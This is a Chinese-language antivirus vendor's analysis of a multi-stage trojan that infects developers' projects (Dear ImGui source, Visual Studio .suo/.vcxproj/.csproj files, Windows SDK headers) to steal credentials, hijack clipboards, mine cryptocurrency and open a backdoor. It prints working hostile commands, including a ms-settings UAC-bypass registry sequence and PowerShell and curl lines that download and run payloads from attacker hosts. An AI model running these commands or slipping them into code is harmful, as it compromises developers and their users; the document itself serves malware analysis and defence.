瞄准开发商:新型木马通过供应链感染电脑造成多重损害
Hot news | Doctor Web公司新闻 | 病毒新闻
该木马传播首批案例出现在2025年第四季度,此后攻击者持续对其进行修改,主要通过互联网经由被感染的.exe和Python文件传播。感染过程分为多个阶段,接下来我们将逐一分析各阶段流程及其目的。
阶段1:Trojan.DownLoader49.35384
Doctor Web专家发现大量被感染的合法应用程序具有相似结构:其原始可执行文件中被添加了一个全局对象,木马化应用开始执行时都利用PEB walking方法获取系统API访问权限。随后标准函数initterm遍历函数指针表并将其初始化,而其中一个函数为恶意函数,用于启动PowerShell命令。某些木马版本中该载荷进行了加密。
通过initterm启动
PowerShell命令下载并执行恶意文件 Trojan.DownLoader49.35687,也就是启动第二阶段。
恶意PowerShell命令
除可执行文件外,还发现了一些Python文件(Python.Downloader.255)。这些文件中包含相同的恶意代码,通过Fernet对称加密机制加密,并使用了简单的混淆手段(第一行大量空格)。此类情况同样分多个阶段执行。
恶意Python文件
阶段2:Trojan.DownLoader49.35687
在此阶段木马 Trojan.DownLoader49.35687 首先检测自身运行环境是否是沙箱。此外会创建名为Global\PFNMX(固定值)的同步对象mutex,例如:\Sessions\1\BaseNamedObjects\Global\PFNMX_0o6u9MMc2QdKvqeHmgPRE008。木马通过这种方式来检查电脑上是否已有其他副本在运行。
第二阶段木马还尝试通过公共代码仓库GitHub和游戏平台Steam获取C2服务器地址。攻击者在上述平台存储相应域名,木马读取后用于下载第三阶段负载,也就是木马 BackDoor.Siggen2.5906。
攻击者创建的Steam账号包含明文域名。
包含C2域名的Steam账号
在GitHub上C2域名则是以加密的raw文件形式保存:raw[.]githubusercontent[.]com/XxXloverXxX/rustflare/refs/heads/main/crates/engine。木马下载该文件后先通过Base64解密,再使用密钥ZwFlushKey进行XOR解密。
加密域名
下载后,Trojan.DownLoader49.35687 将其注入到C:\Windows\System32目录下41个预置可执行文件中的一个文件。
如C2域名能够成功连接,地址就会添加到木马内置的硬编码字符串中,并通过命名管道pipe\VccFramework传递给下一阶段。
阶段3:BackDoor.Siggen2.5906
此阶段执行主要的恶意活动。BackDoor.Siggen2.5906 创建名为Global\PFNX_Side(固定值)的同步对象mutex。随后通过此前创建的管道从第二阶段获取数据,从中提取木马标识符以及 BackDoor.Siggen2.5906 进行通信的C2域名。
为达到在系统中持久驻留的目的,木马会下载文件“bungee.boo”(该文件执行阶段2的功能——Trojan.DownLoader49.35687),并替换以下DLL文件:
- Discord应用程序的“profapi.dll”;
- Microsoft Edge应用程序“Domain Actions”文件夹中的“domain_actions.dll”及“Well Known Domains”文件夹中的“well_known_domains.dll”;
- “C:\Windows\omadmapi.dll”。
此外,BackDoor.Siggen2.5906 还可修改Windows系统注册表,以便在通过WinRar.exe打开压缩文件时会启动恶意代码。
木马使用UAC绕过技术来执行需要管理员权限的操作:生成一个由随机数字命名的.vbs文件,并在其中写入以管理员权限执行的命令。随后通过cmd.exe运行以下命令:
reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe
%APPDATA%\Microsoft\369059.vbs" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
c start /B ComputerDefaults.exe
随后木马就能实施5类恶意功能:信息窃取、剪贴板劫持、后门、挖矿和成为文件感染源。
信息窃取
木马能够窃取多种信息:
- Discord令牌,用于无需输入用户名/密码即可登录他人账户;
- 来自Chrome、Edge、Opera、Brave、Yandex等浏览器的密码和Cookie。除常规数据提取技术外,还利用CCCWF.tmp文件(Trojan.PWS.Siggen5.33623),将其注入浏览器后读取密码并保存至文本文件;
- Telegram Desktop文件夹;
- Exodus加密货币钱包文件夹。
除窃取Exodus钱包文件夹外,木马还会修改加密货币钱包。具体方法是找到app.asar文件,将其替换为通过curl从balista[.]lol/Stb/PokerFace/RTApp[.]txt下载的副本。替换版本中的index.js文件(Trojan.Siggen32.44702)内包含unlock()函数,钱包启动时该函数会将助记词短语发送至攻击者服务器。
被替换的index.js文件
剪贴板劫持器
这是该木马极具危险性的功能之一。恶意程序会持续监控用户剪贴板:查找银行卡数据并发送至攻击者服务器。同时,木马还会将加密货币钱包地址替换为从C2服务器获取的虚假地址。
后门
这一功能让攻击者能够通过以下命令远程控制被感染的电脑:
| exc | 利用curl从URL下载文件并执行 |
| RVRS | 启动反向代理(Reverse Proxy) |
| RUNCMD | 通过cmd运行命令 |
| GETFILE | 将指定文件内容上传至控制服务器 |
| LISTDIR | 将电脑中指定目录下的文件列表发送至控制服务器 |
| TROLL | 执行骚扰用户的命令,选项包括:earrape、scary_sound、rickroll、mute_audio、jumpscare_screamer等 |
挖矿程序
木马通过curl从服务器下载并执行文件https://files[.]catbox[.]moe/lvh9j3[.]bin — Trojan.Packed2.50953。其结构与行为类似前面描述的阶段2,区别在于下载并注入的是 Trojan.BtcMine.3956 而非 BackDoor.Siggen2.5906。这个挖矿程序只会在用户设备闲置一定时间后才会启动。恶意程序使用开源工具 XMRig、T-Rex 和 TeamRedMiner。
感染文件
新木马最显著的特征在于会感染文件并进一步自我传播。被感染的文件列表包括:
- imgui_impl_win32.cpp,
- .suo,
- .exe,
- winnetwk.h (Windows SDK),
- .vcxproj 和 .csproj.
木马通过遍历磁盘并执行命令来定位可感染文件的路径,以A盘为例:
dir /a /s /b A:\*imgui_impl_win32.cpp A:\*.suo A:\*.exe A:\*.vcxproj A:\*.csproj > %ALLUSERSPROFILE%\ADat.bin3290.攻击者的意图在于,包含恶意代码的应用开发者会公开发布。其他开发者在构建、编译或修改这些项目时会因.suo、.vcxproj和.csproj文件而自动感染其自身的电脑,而被入侵的开发工具所创建的可执行文件已被感染,普通用户一旦运行其设备也就会被感染。
imgui_impl_win32.cpp. Trojan.Loader.3129
imgui_impl_win32.cpp是常用C++图形界面库Dear ImGui的组成部分。木马在该文件中注入两行代码:第一行包含载荷,第二行启动该载荷。
含载荷的代码行
启动载荷的代码行
最终执行的命令为:
start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api[.]tf/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt' -OutFile $env:APPDATA\BK879002.exe; Start-Process -FilePath $env:APPDATA\BK879002.exe -WindowStyle Hidden }"
这个库被感染后,其使用者创建的任何C++应用程序都将包含恶意代码。而此类应用程序分发或下载就会使感染进一步扩散。
.suo. Trojan.Loader.3138
是Microsoft Visual Studio开发环境的文件扩展名,用于存储特定项目的用户配置。木马将原始文件替换为从C2获取的被感染文件。
被感染文件
其结果是在Visual Studio中打开项目时,恶意代码就会启动:
javascript:new ActiveXObject('WScript.Shell').Run('cmd /b /c curl -o \"C:\\ProgramData\\S47LY.exe\" \"https://pee-files[.]nl/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt\" && start \"\" \"C:\\ProgramData\\S47LY.exe\"', 0, false);close();
winnetwk.h. Trojan.Loader.3184
Windows SDK 是Microsoft官方开发工具包,用于创建Windows操作系统应用程序。
木马通过注册表找到Windows SDK安装目录,在其中搜索负责网络资源操作的winnetwk.h文件,然后添加恶意代码。
被感染的winnetwk.h文件
此后,所有使用winnetwk.h创建的程序都将包含会启动阶段2的恶意代码。
.exe文件
木马搜索合适的.exe文件,向其中注入API初始化函数和initterm启动函数。随后该文件就开始充当 Trojan.DownLoader49.35384(即阶段1)。
.vcxproj (Trojan.Loader.3128, Trojan.Loader.3127) 和 .csproj (Trojan.Loader.3126)文件
这些是Visual Studio的C++和C#项目文件。木马在其中添加在每次项目构建前执行的PreBuildEvent命令。早期版本的木马添加的代码与阶段1类似。
早期版本代码
在新版本中,代码进行了混淆,变得更加复杂。
新版本代码
执行Trojan.Loader.3128的一个阶段
恶意命令执行后,会写入一个恶意的.vbs文件,由这个文件启动PowerShell载荷。木马会向以下URL发起请求:
- youtu.be/akoxddx6lgc,
- steamcommunity.com/profiles/76561198737324192.
这些地址上存储的是另一个经base64加密的URL。
包含加密URL的YouTube账号
解密后,木马获得C2域名,并向其请求下载与阶段2类似的载荷。
对新木马工作原理的分析表明,由于木马融合了多项恶意功能,危害程度极高。为避免电脑感染及木马进一步传播,建议定期更新反病毒数据库并检查所有从互联网下载的文件。Dr.Web反病毒产品能够可靠侦测并清除这一新威胁,.vcxproj、.csproj和imgui等类型文件中的恶意代码也可被清除,因此Dr.Web Security Space和Dr.Web Desktop Security Suite反病毒产品的用户无需担忧。